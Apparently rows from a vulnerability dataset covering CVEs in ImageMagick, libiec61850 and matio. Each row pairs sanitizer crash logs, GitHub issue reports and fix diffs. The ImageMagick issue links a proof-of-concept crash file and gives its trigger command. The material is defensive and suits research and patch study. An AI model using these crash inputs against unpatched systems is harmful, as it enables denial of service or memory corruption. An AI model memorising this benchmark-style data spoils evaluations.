#5 0x4017f1 in MagickMain utilities/magick.c:149
#6 0x4019d2 in main utilities/magick.c:180
#7 0x7f505330782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#8 0x401308 in _start (/home/fuzzing/fuzzing/ImageMagick/utilities/.libs/lt-magick+0x401308)
0x62d00001cbdc is located 0 bytes to the right of 34780-byte region [0x62d000014400,0x62d00001cbdc)
allocated by thread T0 here:
#0 0x7f5054ee2602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7f50543eb981 in AcquireMagickMemory MagickCore/memory.c:464
#2 0x7f50543eb9d5 in AcquireQuantumMemory MagickCore/memory.c:537
#3 0x7f505478c2f0 in WriteUILImage coders/uil.c:238
#4 0x7f50542471c6 in WriteImage MagickCore/constitute.c:1114
#5 0x7f5054247e42 in WriteImages MagickCore/constitute.c:1333
#6 0x7f5053a9a3eb in ConvertImageCommand MagickWand/convert.c:3280
#7 0x7f5053b92d98 in MagickCommandGenesis MagickWand/mogrify.c:183
#8 0x4017f1 in MagickMain utilities/magick.c:149
#9 0x4019d2 in main utilities/magick.c:180
#10 0x7f505330782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow coders/uil.c:273 WriteUILImage
Shadow bytes around the buggy address:
0x0c5a7fffb920: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fffb930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fffb940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fffb950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fffb960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c5a7fffb970: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
0x0c5a7fffb980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fffb990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fffb9a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fffb9b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fffb9c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==3160==ABORTING | === https://github.com/ImageMagick/ImageMagick/issues/562 ===
Title: heap-overflow in WriteUILImage()
---
Body:
Crash Link : https://raw.githubusercontent.com/lcatro/My_PoC/master/ImageMagick/heap-buffer-overflow-READ-0x7fd806e82db2_output_uil_1500210468.72
Trigger Command : ./magick convert heap-buffer-overflow-READ-0x7fd806e82db2_output_uil_1500210468.72 output.uil
Crash Information :
fuzzing@ubuntu:~/fuzzing/ImageMagick/utilities$ ./magick convert all_fuzzing_format_2017_7_16_5_13_10/crash/heap-buffer-overflow-READ-0x7fd806e82db2_output_uil_1500210468.72 output.uil
=================================================================
==3160==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62d00001cbdc at pc 0x7f505478c77d bp 0x7fff1b1513b0 sp 0x7fff1b1513a0
READ of size 1 at 0x62d00001cbdc thread T0
#0 0x7f505478c77c in WriteUILImage coders/uil.c:273
#1 0x7f50542471c6 in WriteImage MagickCore/constitute.c:1114
#2 0x7f5054247e42 in WriteImages MagickCore/constitute.c:1333
#3 0x7f5053a9a3eb in ConvertImageCommand MagickWand/convert.c:3280
#4 0x7f5053b92d98 in MagickCommandGenesis MagickWand/mogrify.c:183
#5 0x4017f1 in MagickMain utilities/magick.c:149
#6 0x4019d2 in main utilities/magick.c:180
#7 0x7f505330782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#8 0x401308 in _start (/home/fuzzing/fuzzing/ImageMagick/utilities/.libs/lt-magick+0x401308)
0x62d00001cbdc is located 0 bytes to the right of 34780-byte region [0x62d000014400,0x62d00001cbdc)
allocated by thread T0 here:
#0 0x7f5054ee2602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7f50543eb981 in AcquireMagickMemory MagickCore/memory.c:464
#2 0x7f50543eb9d5 in AcquireQuantumMemory MagickCore/memory.c:537
#3 0x7f505478c2f0 in WriteUILImage coders/uil.c:238
#4 0x7f50542471c6 in WriteImage MagickCore/constitute.c:1114
#5 0x7f5054247e42 in WriteImages MagickCore/constitute.c:1333
#6 0x7f5053a9a3eb in ConvertImageCommand MagickWand/convert.c:3280
#7 0x7f5053b92d98 in MagickCommandGenesis MagickWand/mogrify.c:183
#8 0x4017f1 in MagickMain utilities/magick.c:149
#9 0x4019d2 in main utilities/magick.c:180
#10 0x7f505330782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow coders/uil.c:273 WriteUILImage
Shadow bytes around the buggy address:
0x0c5a7fffb920: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fffb930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fffb940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fffb950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fffb960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c5a7fffb970: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
0x0c5a7fffb980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fffb990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fffb9a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fffb9b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fffb9c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==3160==ABORTING
---
Comment #1 by dlemstra:
Thanks for the report! Can you remove the # 1 and the other ones from your message next time. You are now referencing a couple of issues.
---
Comment #2 by mikayla-grace:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment #3 by bastien-roucaries:
This is CVE-2017-11533 | https://nvd.nist.gov/vuln/detail/CVE-2017-11533 | |||
libiec61850.cve-2023-27772 | libiec61850 v1.5.1 was discovered to contain a segmentation violation via the function ControlObjectClient_setOrigin() at /client/client_control.c. | https://github.com/mz-automation/libiec61850/issues/442 | https://github.com/mz-automation/libiec61850/commit/79a8eaf26070e02044afc4b2ffbfe777dfdf3e0b | CWE-754 | mz-automation/libiec61850 | 79a8eaf26070e02044afc4b2ffbfe777dfdf3e0b~1 | diff --git a/examples/iec61850_client_example_control/client_example_control.c b/examples/iec61850_client_example_control/client_example_control.c
index 33da635a3..37d6b6bca 100644
--- a/examples/iec61850_client_example_control/client_example_control.c
+++ b/examples/iec61850_client_example_control/client_example_control.c
@@ -45,8 +45,10 @@ int main(int argc, char** argv) {
IedConnection_connect(con, &error, hostname, tcpPort);
- if (error == IED_ERROR_OK) {
-
+ if (error == IED_ERROR_OK)
+ {
+ MmsValue* ctlVal = NULL;
+ MmsValue* stVal = NULL;
/************************
* Direct control
@@ -55,99 +57,116 @@ int main(int argc, char** argv) {
ControlObjectClient control
= ControlObjectClient_create("simpleIOGenericIO/GGIO1.SPCSO1", con);
- MmsValue* ctlVal = MmsValue_newBoolean(true);
+ if (control)
+ {
+ ctlVal = MmsValue_newBoolean(true);
- ControlObjectClient_setOrigin(control, NULL, 3);
+ ControlObjectClient_setOrigin(control, NULL, 3);
- if (ControlObjectClient_operate(control, ctlVal, 0 /* operate now */)) {
- printf("simpleIOGenericIO/GGIO1.SPCSO1 operated successfully\n");
- }
- else {
- printf("failed to operate simpleIOGenericIO/GGIO1.SPCSO1\n");
- }
+ if (ControlObjectClient_operate(control, ctlVal, 0 /* operate now */)) {
+ printf("simpleIOGenericIO/GGIO1.SPCSO1 operated successfully\n");
+ }
+ else {
+ printf("failed to operate simpleIOGenericIO/GGIO1.SPCSO1\n");
+ }
+
+ MmsValue_delete(ctlVal);
- MmsValue_delete(ctlVal);
+ ControlObjectClient_destroy(control);
- ControlObjectClient_destroy(control);
+ /* Check if status value has changed */
- /* Check if status value has changed */
+ stVal = IedConnection_readObject(con, &error, "simpleIOGenericIO/GGIO1.SPCSO1.stVal", IEC61850_FC_ST);
- MmsValue* stVal = IedConnection_readObject(con, &error, "simpleIOGenericIO/GGIO1.SPCSO1.stVal", IEC61850_FC_ST);
+ if (error == IED_ERROR_OK) {
+ bool state = MmsValue_getBoolean(stVal);
+ MmsValue_delete(stVal);
- if (error == IED_ERROR_OK) {
- bool state = MmsValue_getBoolean(stVal);
- MmsValue_delete(stVal);
+ printf("New status of simpleIOGenericIO/GGIO1.SPCSO1.stVal: %i\n", state);
+ }
+ else {
+ printf("Reading status for simpleIOGenericIO/GGIO1.SPCSO1 failed!\n");
+ }
- printf("New status of simpleIOGenericIO/GGIO1.SPCSO1.stVal: %i\n", state);
}
else {
- printf("Reading status for simpleIOGenericIO/GGIO1.SPCSO1 failed!\n");
+ printf("Control object simpleIOGenericIO/GGIO1.SPCSO1 not found in server\n");
}
-
/************************
* Select before operate
***********************/
control = ControlObjectClient_create("simpleIOGenericIO/GGIO1.SPCSO2", con);
- if (ControlObjectClient_select(control)) {
+ if (control)
+ {
+ if (ControlObjectClient_select(control)) {
- ctlVal = MmsValue_newBoolean(true);
+ ctlVal = MmsValue_newBoolean(true);
- if (ControlObjectClient_operate(control, ctlVal, 0 /* operate now */)) {
- printf("simpleIOGenericIO/GGIO1.SPCSO2 operated successfully\n");
+ if (ControlObjectClient_operate(control, ctlVal, 0 /* operate now */)) {
+ printf("simpleIOGenericIO/GGIO1.SPCSO2 operated successfully\n");
+ }
+ else {
+ printf("failed to operate simpleIOGenericIO/GGIO1.SPCSO2!\n");
+ }
+
+ MmsValue_delete(ctlVal);
}
else {
- printf("failed to operate simpleIOGenericIO/GGIO1.SPCSO2!\n");
+ printf("failed to select simpleIOGenericIO/GGIO1.SPCSO2!\n");
}
- MmsValue_delete(ctlVal);
+ ControlObjectClient_destroy(control);
}
else {
- printf("failed to select simpleIOGenericIO/GGIO1.SPCSO2!\n");
+ printf("Control object simpleIOGenericIO/GGIO1.SPCSO2 not found in server\n");
}
- ControlObjectClient_destroy(control);
-
-
/****************************************
* Direct control with enhanced security
****************************************/
control = ControlObjectClient_create("simpleIOGenericIO/GGIO1.SPCSO3", con);
- ControlObjectClient_setCommandTerminationHandler(control, commandTerminationHandler, NULL);
+ if (control)
+ {
+ ControlObjectClient_setCommandTerminationHandler(control, commandTerminationHandler, NULL);
- ctlVal = MmsValue_newBoolean(true);
+ ctlVal = MmsValue_newBoolean(true);
- if (ControlObjectClient_operate(control, ctlVal, 0 /* operate now */)) {
- printf("simpleIOGenericIO/GGIO1.SPCSO3 operated successfully\n");
- }
- else {
- printf("failed to operate simpleIOGenericIO/GGIO1.SPCSO3\n");
- }
+ if (ControlObjectClient_operate(control, ctlVal, 0 /* operate now */)) {
+ printf("simpleIOGenericIO/GGIO1.SPCSO3 operated successfully\n");
+ }
+ else {
+ printf("failed to operate simpleIOGenericIO/GGIO1.SPCSO3\n");
+ }
- MmsValue_delete(ctlVal);
+ MmsValue_delete(ctlVal);
- /* Wait for command termination message */
- Thread_sleep(1000);
+ /* Wait for command termination message */
+ Thread_sleep(1000);
- ControlObjectClient_destroy(control);
+ ControlObjectClient_destroy(control);
- /* Check if status value has changed */
+ /* Check if status value has changed */
- stVal = IedConnection_readObject(con, &error, "simpleIOGenericIO/GGIO1.SPCSO3.stVal", IEC61850_FC_ST);
+ stVal = IedConnection_readObject(con, &error, "simpleIOGenericIO/GGIO1.SPCSO3.stVal", IEC61850_FC_ST);
- if (error == IED_ERROR_OK) {
- bool state = MmsValue_getBoolean(stVal);
+ if (error == IED_ERROR_OK) {
+ bool state = MmsValue_getBoolean(stVal);
- printf("New status of simpleIOGenericIO/GGIO1.SPCSO3.stVal: %i\n", state);
+ printf("New status of simpleIOGenericIO/GGIO1.SPCSO3.stVal: %i\n", state);
- MmsValue_delete(stVal);
+ MmsValue_delete(stVal);
+ }
+ else {
+ printf("Reading status for simpleIOGenericIO/GGIO1.SPCSO3 failed!\n");
+ }
}
else {
- printf("Reading status for simpleIOGenericIO/GGIO1.SPCSO3 failed!\n");
+ printf("Control object simpleIOGenericIO/GGIO1.SPCSO3 not found in server\n");
}
/***********************************************
@@ -156,56 +175,66 @@ int main(int argc, char** argv) {
control = ControlObjectClient_create("simpleIOGenericIO/GGIO1.SPCSO4", con);
- ControlObjectClient_setCommandTerminationHandler(control, commandTerminationHandler, NULL);
+ if (control)
+ {
+ ControlObjectClient_setCommandTerminationHandler(control, commandTerminationHandler, NULL);
- ctlVal = MmsValue_newBoolean(true);
+ ctlVal = MmsValue_newBoolean(true);
- if (ControlObjectClient_selectWithValue(control, ctlVal)) {
+ if (ControlObjectClient_selectWithValue(control, ctlVal)) {
+
+ if (ControlObjectClient_operate(control, ctlVal, 0 /* operate now */)) {
+ printf("simpleIOGenericIO/GGIO1.SPCSO4 operated successfully\n");
+ }
+ else {
+ printf("failed to operate simpleIOGenericIO/GGIO1.SPCSO4!\n");
+ }
- if (ControlObjectClient_operate(control, ctlVal, 0 /* operate now */)) {
- printf("simpleIOGenericIO/GGIO1.SPCSO4 operated successfully\n");
}
else {
- printf("failed to operate simpleIOGenericIO/GGIO1.SPCSO4!\n");
+ printf("failed to select simpleIOGenericIO/GGIO1.SPCSO4!\n");
}
+ MmsValue_delete(ctlVal);
+
+ /* Wait for command termination message */
+ Thread_sleep(1000);
+
+ ControlObjectClient_destroy(control);
}
else {
- printf("failed to select simpleIOGenericIO/GGIO1.SPCSO4!\n");
+ printf("Control object simpleIOGenericIO/GGIO1.SPCSO4 not found in server\n");
}
- MmsValue_delete(ctlVal);
-
- /* Wait for command termination message */
- Thread_sleep(1000);
-
- ControlObjectClient_destroy(control);
-
-
/*********************************************************************
* Direct control with enhanced security (expect CommandTermination-)
*********************************************************************/
control = ControlObjectClient_create("simpleIOGenericIO/GGIO1.SPCSO9", con);
- ControlObjectClient_setCommandTerminationHandler(control, commandTerminationHandler, NULL);
-
- ctlVal = MmsValue_newBoolean(true);
+ if (control)
+ {
+ ControlObjectClient_setCommandTerminationHandler(control, commandTerminationHandler, NULL);
- if (ControlObjectClient_operate(control, ctlVal, 0 /* operate now */)) {
- printf("simpleIOGenericIO/GGIO1.SPCSO9 operated successfully\n");
- }
- else {
- printf("failed to operate simpleIOGenericIO/GGIO1.SPCSO9\n");
- }
+ ctlVal = MmsValue_newBoolean(true);
- MmsValue_delete(ctlVal);
+ if (ControlObjectClient_operate(control, ctlVal, 0 /* operate now */)) {
+ printf("simpleIOGenericIO/GGIO1.SPCSO9 operated successfully\n");
+ }
+ else {
+ printf("failed to operate simpleIOGenericIO/GGIO1.SPCSO9\n");
+ }
- /* Wait for command termination message */
- Thread_sleep(1000);
+ MmsValue_delete(ctlVal);
- ControlObjectClient_destroy(control);
+ /* Wait for command termination message */
+ Thread_sleep(1000);
+ ControlObjectClient_destroy(control);
+ }
+ else {
+ printf("Control object simpleIOGenericIO/GGIO1.SPCSO9 not found in server\n");
+ }
IedConnection_close(con);
}
| https://github.com/mz-automation/libiec61850/issues/442 | $ sudo ./client_example_control
AddressSanitizer:DEADLYSIGNAL
=================================================================
==12824==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000078 (pc 0x5638e2e178dc bp 0x7ffe9101eb20 sp 0x7ffe9101eb00 T0)
==12824==The signal is caused by a READ memory access.
==12824==Hint: address points to the zero page.
#0 0x5638e2e178db in ControlObjectClient_setOrigin src/iec61850/client/client_control.c:328
#1 0x5638e2e06190 in main /home/saltf1sh/target/libiec61850/examples/iec61850_client_example_control/client_example_control.c:60
#2 0x7fc4901b70b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#3 0x5638e2e05dbd in _start (/home/saltf1sh/target/libiec61850/examples/iec61850_client_example_control/client_example_control+0x26dbd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/iec61850/client/client_control.c:328 in ControlObjectClient_setOrigin
==12824==ABORTING | === https://github.com/mz-automation/libiec61850/issues/442 ===
Title: SEGV in function ControlObjectClient_setOrigin()
---
Body:
Hi, team
There is a SEGV in function `ControlObjectClient_setOrigin` in `src/iec61850/client/client_control.c:328` when called from libiec61850/examples/iec61850_client_example_control/client_example_control.c:60.
Steps to reproduce:
I used **gcc 9.4 and AddressSanitizer**(`export CFLAGS="-g -fsanitize=address" CXXFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address"`before `make examples`) to build **libiec61850**.
First, I run the `server_example_simple` in directory `libiec61850/examples/server_example_simple` by command `sudo ./server_example_simple` so that the server is set up.
Then I tested `client_example_control` in directory `libiec61850/examples/iec61850_client_example_control` by command `sudo ./client_example_control`.
But I got `SEGV` in function `ControlObjectClient_setOrigin` in `src/iec61850/client/client_control.c:328`.
ASAN Output:
```
$ sudo ./client_example_control
AddressSanitizer:DEADLYSIGNAL
=================================================================
==12824==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000078 (pc 0x5638e2e178dc bp 0x7ffe9101eb20 sp 0x7ffe9101eb00 T0)
==12824==The signal is caused by a READ memory access.
==12824==Hint: address points to the zero page.
#0 0x5638e2e178db in ControlObjectClient_setOrigin src/iec61850/client/client_control.c:328
#1 0x5638e2e06190 in main /home/saltf1sh/target/libiec61850/examples/iec61850_client_example_control/client_example_control.c:60
#2 0x7fc4901b70b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#3 0x5638e2e05dbd in _start (/home/saltf1sh/target/libiec61850/examples/iec61850_client_example_control/client_example_control+0x26dbd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/iec61850/client/client_control.c:328 in ControlObjectClient_setOrigin
==12824==ABORTING
```
---
Comment #1 by LancyRiver:
@mzillgith The fix looks fine to me. Since the bug was fixed, this issue should be closed. | https://nvd.nist.gov/vuln/detail/CVE-2023-27772 | |
matio.cve-2019-9036 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function ReadNextFunctionHandle() in mat5.c. | https://github.com/TeamSeri0us/pocs/tree/master/matio | https://github.com/tbeu/matio/commit/a0539135c9b1ab7613aa7953279da9224da88775, https://github.com/tbeu/matio/commit/2c20d2178017b3eb13ab160cef239648f9915bdb, https://github.com/tbeu/matio/commit/df23944bc8f16dc7270fa39c772e14958aadc283, https://github.com/tbeu/matio/commit/ce33bf0ef196794790ed20c6d4c8232f7eb45590, https://github.com/tbeu/matio/commit/02625a0e394eeb8bf3ea61641f73de907296a2c4 | CWE-787 | tbeu/matio | a0539135c9b1ab7613aa7953279da9224da88775~1 | diff --git a/src/inflate.c b/src/inflate.c
index f8b1e114..3d085684 100644
--- a/src/inflate.c
+++ b/src/inflate.c
@@ -241,7 +241,7 @@ InflateVarTag(mat_t *mat, matvar_t *matvar, void *buf)
{
mat_uint8_t comp_buf[32];
int err;
- size_t bytesread = 0;
+ size_t bytesread = 0, readresult = 1;
if ( buf == NULL )
return 0;
@@ -258,10 +258,11 @@ InflateVarTag(mat_t *mat, matvar_t *matvar, void *buf)
Mat_Critical("InflateVarTag: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
- while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in ) {
+ while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in && 1 == readresult ) {
matvar->internal->z->avail_in = 1;
matvar->internal->z->next_in = comp_buf;
- bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
+ readresult = fread(comp_buf,1,1,(FILE*)mat->fp);
+ bytesread += readresult;
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err != Z_OK ) {
Mat_Critical("InflateVarTag: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
@@ -292,7 +293,7 @@ InflateArrayFlags(mat_t *mat, matvar_t *matvar, void *buf)
{
mat_uint8_t comp_buf[32];
int err;
- size_t bytesread = 0;
+ size_t bytesread = 0, readresult = 1;
if ( buf == NULL )
return 0;
@@ -309,10 +310,11 @@ InflateArrayFlags(mat_t *mat, matvar_t *matvar, void *buf)
Mat_Critical("InflateArrayFlags: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
- while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in ) {
+ while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in && 1 == readresult ) {
matvar->internal->z->avail_in = 1;
matvar->internal->z->next_in = comp_buf;
- bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
+ readresult = fread(comp_buf,1,1,(FILE*)mat->fp);
+ bytesread += readresult;
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err != Z_OK ) {
Mat_Critical("InflateArrayFlags: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
@@ -338,15 +340,17 @@ InflateArrayFlags(mat_t *mat, matvar_t *matvar, void *buf)
* @param mat Pointer to the MAT file
* @param matvar Pointer to the MAT variable
* @param buf Pointer to store the dimensions flag and data
+ * @param nbytes Size of buf in bytes
+ * @param dims Output buffer to be allocated if (8+4*rank) > nbytes
* @return Number of bytes read from the file
*/
size_t
-InflateDimensions(mat_t *mat, matvar_t *matvar, void *buf)
+InflateRankDims(mat_t *mat, matvar_t *matvar, void *buf, size_t nbytes, mat_uint32_t** dims)
{
mat_uint8_t comp_buf[32];
mat_int32_t tag[2];
int err, rank, i;
- size_t bytesread = 0;
+ size_t bytesread = 0, readresult = 1;
if ( buf == NULL )
return 0;
@@ -360,16 +364,17 @@ InflateDimensions(mat_t *mat, matvar_t *matvar, void *buf)
matvar->internal->z->next_out = (Bytef*)buf;
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err != Z_OK ) {
- Mat_Critical("InflateDimensions: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
+ Mat_Critical("InflateRankDims: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
- while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in ) {
+ while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in && 1 == readresult ) {
matvar->internal->z->avail_in = 1;
matvar->internal->z->next_in = comp_buf;
- bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
+ readresult = fread(comp_buf,1,1,(FILE*)mat->fp);
+ bytesread += readresult;
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err != Z_OK ) {
- Mat_Critical("InflateDimensions: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
+ Mat_Critical("InflateRankDims: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
}
@@ -380,7 +385,7 @@ InflateDimensions(mat_t *mat, matvar_t *matvar, void *buf)
Mat_int32Swap(tag+1);
}
if ( (tag[0] & 0x0000ffff) != MAT_T_INT32 ) {
- Mat_Critical("InflateDimensions: Reading dimensions expected type MAT_T_INT32");
+ Mat_Critical("InflateRankDims: Reading dimensions expected type MAT_T_INT32");
return bytesread;
}
rank = tag[1];
@@ -395,20 +400,35 @@ InflateDimensions(mat_t *mat, matvar_t *matvar, void *buf)
matvar->internal->z->next_in = comp_buf;
bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
}
+
matvar->internal->z->avail_out = rank;
- matvar->internal->z->next_out = (Bytef*)((mat_int32_t *)buf+2);
+ if ( sizeof(mat_uint32_t)*(rank + 2) <= nbytes ) {
+ matvar->internal->z->next_out = (Bytef*)((mat_int32_t *)buf+2);
+ } else {
+ /* Cannot use too small buf, but can allocate output buffer dims */
+ *dims = (mat_uint32_t*)calloc(rank, sizeof(mat_uint32_t));
+ if ( NULL != *dims ) {
+ matvar->internal->z->next_out = (Bytef*)*dims;
+ } else {
+ *((mat_int32_t *)buf+1) = 0;
+ Mat_Critical("Error allocating memory for dims");
+ return bytesread;
+ }
+ }
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err != Z_OK ) {
- Mat_Critical("InflateDimensions: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
+ Mat_Critical("InflateRankDims: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
- while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in ) {
+ readresult = 1;
+ while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in && 1 == readresult ) {
matvar->internal->z->avail_in = 1;
matvar->internal->z->next_in = comp_buf;
- bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
+ readresult = fread(comp_buf,1,1,(FILE*)mat->fp);
+ bytesread += readresult;
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err != Z_OK ) {
- Mat_Critical("InflateDimensions: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
+ Mat_Critical("InflateRankDims: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
}
@@ -435,7 +455,7 @@ InflateVarNameTag(mat_t *mat, matvar_t *matvar, void *buf)
{
mat_uint8_t comp_buf[32];
int err;
- size_t bytesread = 0;
+ size_t bytesread = 0, readresult = 1;
if ( buf == NULL )
return 0;
@@ -452,10 +472,11 @@ InflateVarNameTag(mat_t *mat, matvar_t *matvar, void *buf)
Mat_Critical("InflateVarNameTag: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
- while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in ) {
+ while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in && 1 == readresult ) {
matvar->internal->z->avail_in = 1;
matvar->internal->z->next_in = comp_buf;
- bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
+ readresult = fread(comp_buf,1,1,(FILE*)mat->fp);
+ bytesread += readresult;
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err != Z_OK ) {
Mat_Critical("InflateVarNameTag: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
@@ -486,7 +507,7 @@ InflateVarName(mat_t *mat, matvar_t *matvar, void *buf, int N)
{
mat_uint8_t comp_buf[32];
int err;
- size_t bytesread = 0;
+ size_t bytesread = 0, readresult = 1;
if ( buf == NULL )
return 0;
@@ -503,10 +524,11 @@ InflateVarName(mat_t *mat, matvar_t *matvar, void *buf, int N)
Mat_Critical("InflateVarName: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
- while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in ) {
+ while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in && 1 == readresult ) {
matvar->internal->z->avail_in = 1;
matvar->internal->z->next_in = comp_buf;
- bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
+ readresult = fread(comp_buf,1,1,(FILE*)mat->fp);
+ bytesread += readresult;
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err != Z_OK ) {
Mat_Critical("InflateVarName: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
@@ -537,7 +559,7 @@ InflateDataTag(mat_t *mat, matvar_t *matvar, void *buf)
{
mat_uint8_t comp_buf[32];
int err;
- size_t bytesread = 0;
+ size_t bytesread = 0, readresult = 1;
if ( buf == NULL )
return 0;
@@ -556,10 +578,11 @@ InflateDataTag(mat_t *mat, matvar_t *matvar, void *buf)
Mat_Critical("InflateDataTag: %s - inflate returned %s",matvar->name,zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
- while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in ) {
+ while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in && 1 == readresult ) {
matvar->internal->z->avail_in = 1;
matvar->internal->z->next_in = comp_buf;
- bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
+ readresult = fread(comp_buf,1,1,(FILE*)mat->fp);
+ bytesread += readresult;
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err == Z_STREAM_END ) {
break;
@@ -592,7 +615,7 @@ InflateDataType(mat_t *mat, z_streamp z, void *buf)
{
mat_uint8_t comp_buf[32];
int err;
- size_t bytesread = 0;
+ size_t bytesread = 0, readresult = 1;
if ( buf == NULL )
return 0;
@@ -609,10 +632,11 @@ InflateDataType(mat_t *mat, z_streamp z, void *buf)
